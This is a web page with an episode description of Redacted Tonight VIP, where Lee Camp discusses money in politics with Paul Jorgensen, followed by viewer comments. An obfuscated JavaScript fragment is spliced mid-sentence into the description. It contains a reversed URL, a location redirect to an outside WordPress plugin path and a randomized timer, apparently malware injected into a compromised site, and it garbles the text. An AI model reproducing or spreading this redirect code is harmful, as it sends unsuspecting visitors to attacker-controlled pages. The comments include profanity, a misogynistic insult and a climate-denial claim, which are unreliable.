In this all new episode of Redacted Tonight VIP, Lee Camp discusses money in politics with Professor Paul Jorgensen, who recently published “50 Shades of Green” with a team at the Roosevelt Institute. This study measured the precise impact of sums of money on specific political issues, using the test cases of the Dodd Frank Bill and Net Neutrality Bills. Lawmakers who received donations from Big Banks and Big Telecom companies later voted in favor of policies that benefitted the companies, despite their initial vote. They discuss the challenges that this study faced, such as dearth of investigations like these in academia, the money laundering schemes of PAC’s, the function of the political parties, hidden sources of money, and the effects of the Citizens United Supreme Court decision. How much does the elite control our government, and can the United States really be called a “representative democracy.” It may sound grim, but Professor Jorgensen concludes with solutions toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this seemingly intractable political problem. In the second half, Lee Camp discusses the recent Special Election in Georgia and the suspicious findings in the aftermath of the vote. Finally, Lee covers Trump’s pull out of the Paris Climate Deal, and how the Paris deal was not the deal we should be defending. This and more on Redacted Tonight VIP.

Oh man! what did you do to your hair? Now you look like Pee Wee Herman with a beard and a mustache.
Citizens united repeal it . Shame on the supreme Court . Corapations are not people period !
"We need to pull money together and blah blah blah" Academics are so often timid and mealy mouth about what needs to be done. We need physical revolt, strikes and protest. Filling streets and blocking traffic with people who want change, who want an end to capitalism and empire. That's what we need.
We can do the political and education thing too. But physical protest HAS to be a major part of it.
Bribing politicians should be a criminal offence, in which case almost the entire Congress would be in prison!
its the sun not the man made co2
You look marvelous. Thank you again, as usual, making us wise beyond the corrupt news.
Run independents, starve the two-party system. Find that bright non-sociopatic person in your area and put them in office.
Please make a clip for 15:42 to 20:04 on about this story about being hacked.

wierd little fellah, likes himself alot, not sure , but i think he is trying to be witty, not witty.
Good Show.
Figure out how to make Campaign Finance Reform sexy, and save the nation from the criminal scumbags that are now stealing our nation.
If you have two brain cells to rub together you can figure out that the funding of politics is nothing but a system of corruption that was put in place to steal as much as possible for as long as possible.
A populist movement cannot win as long as the worst among us: the Mercers, Kochs, and Goldman Sachs minions, control everything through a system of corruption that they themselves have devised.
Sure it seems like there are a thousand issues: Trump giving away national assets like Putin did to a bunch of rich unevolved assholes who are proud of their predation upon the populace, and there endless red herrings that get all the single issue voters at one another's throats: climate change, fundamentalist morons who think that the world is six thousand years old and will end tomorrow, wars in support of private business interests, wholesale surveillance of the citizens, a ridiculous number of psychopaths with badges who believe they are licensed to kill, etc. etc. etc.
But I am telling you that Robert Mercer understands that the lynch pin of control is campaign finance, that’s why he funds Citizens United, and Britbart, and put Trump in office by giving him key words found by Cambridge Anaylitics to repeat over and over, in near meaningless lies, that the mindless fools that watch and believe Fox New and similar founts of lies were responding to on a limbic level.
He knows that campaign finance is the key to power – do you?
Until this is done, the present plutocratic kleptocracy will swiftly recover from any temporary setbacks.
Sorry if it boars you. It’s not up to your opinion, this is the game theory, this is the facts.
Robert Mercer is using the power of AI against the population and government of the USA to make your voice and vote more meaningless than it already is.
Campaign finance reform must be done, not because it is somebodies interest or pet interest, but because it is the only thing that CAN be done to stop this avalanche of shit the one percent is burying us under.
Goldman Sachs gave the American public a choice in the last election and that choice was, “Would you rather live in shit or piss.” And thanks to 80,000 rust belt fools who were conned by a New York City conman, America chose shit.
And until campaign finance is address and totally deprivatized you will only have a choice between shit and piss in all the coming elections. Unless a real populist like Bernie is nominated (don’t hold your breath) as he should have been, and reforms this madness.
The shit we are in now is because of the neoliberal idiots who supported and cheated for Hillary and voted for her in the primary even though all the polls showed Bernie as way more likely to beat Trump than her. Trump knew it, he even said it, Cambridge Anaylitica probably told him, and still the Hillary supporters deny it. As Gurdjieff wrote, “Even God has no defense against stupidity.
Blessings to those of evolving conscience.
The need for speed is a sales scam, if you can stream a video it still plays at the same speed. How fast do people need to download their porn? fakebook is full of it, youtube too. The internet was spawned for it. It's a drug, turn off your screen and go outside.
We're all sick, tired…. of this intro music.
All politicians regardless of party regardless of Country must react to where the power is. Right now the power is in the hands of the money creators. Take the power away from those that can create our money and the power will return to the voter.
this whole thing of "reform the system "is RIDICULOUS without admitting that THE VOTING SCAM IS JUST A PART OF GAMED PARLIAMENTARY PROCESS, and these politicians are just scumbags, and getting money out of politics COMPLETELY is what's necessary
One must remember the agreement hinged on the single word – shall do what is needed changed to should that rendered the agreement useless and and a politician's wet dream.
HOLY SHITE!!!! what did you do with LEE??? yep i got it when you started talking about PODS!!! I think the house next door is full of them…..oh no ..THEY WANT TO REPLACE US ALL…..you won't get me you fuxking pod bastards….i'll end it all first……watch out for the PODS….
great show, thank you
just bring the spanish girl//Fuck you ant liseninng to you bitch
the spring to campaigning shouldn't be about the funding it should be about how it's conducted, to eliminate funding as an issue.
It's a shame that the U.S. has corrupt judges who opened the doors to all this money corrupting our politicians who are now destroying our democracy. The people will have to have a revolution from the ground up to change this! The corrupt judges and politicians have to go!
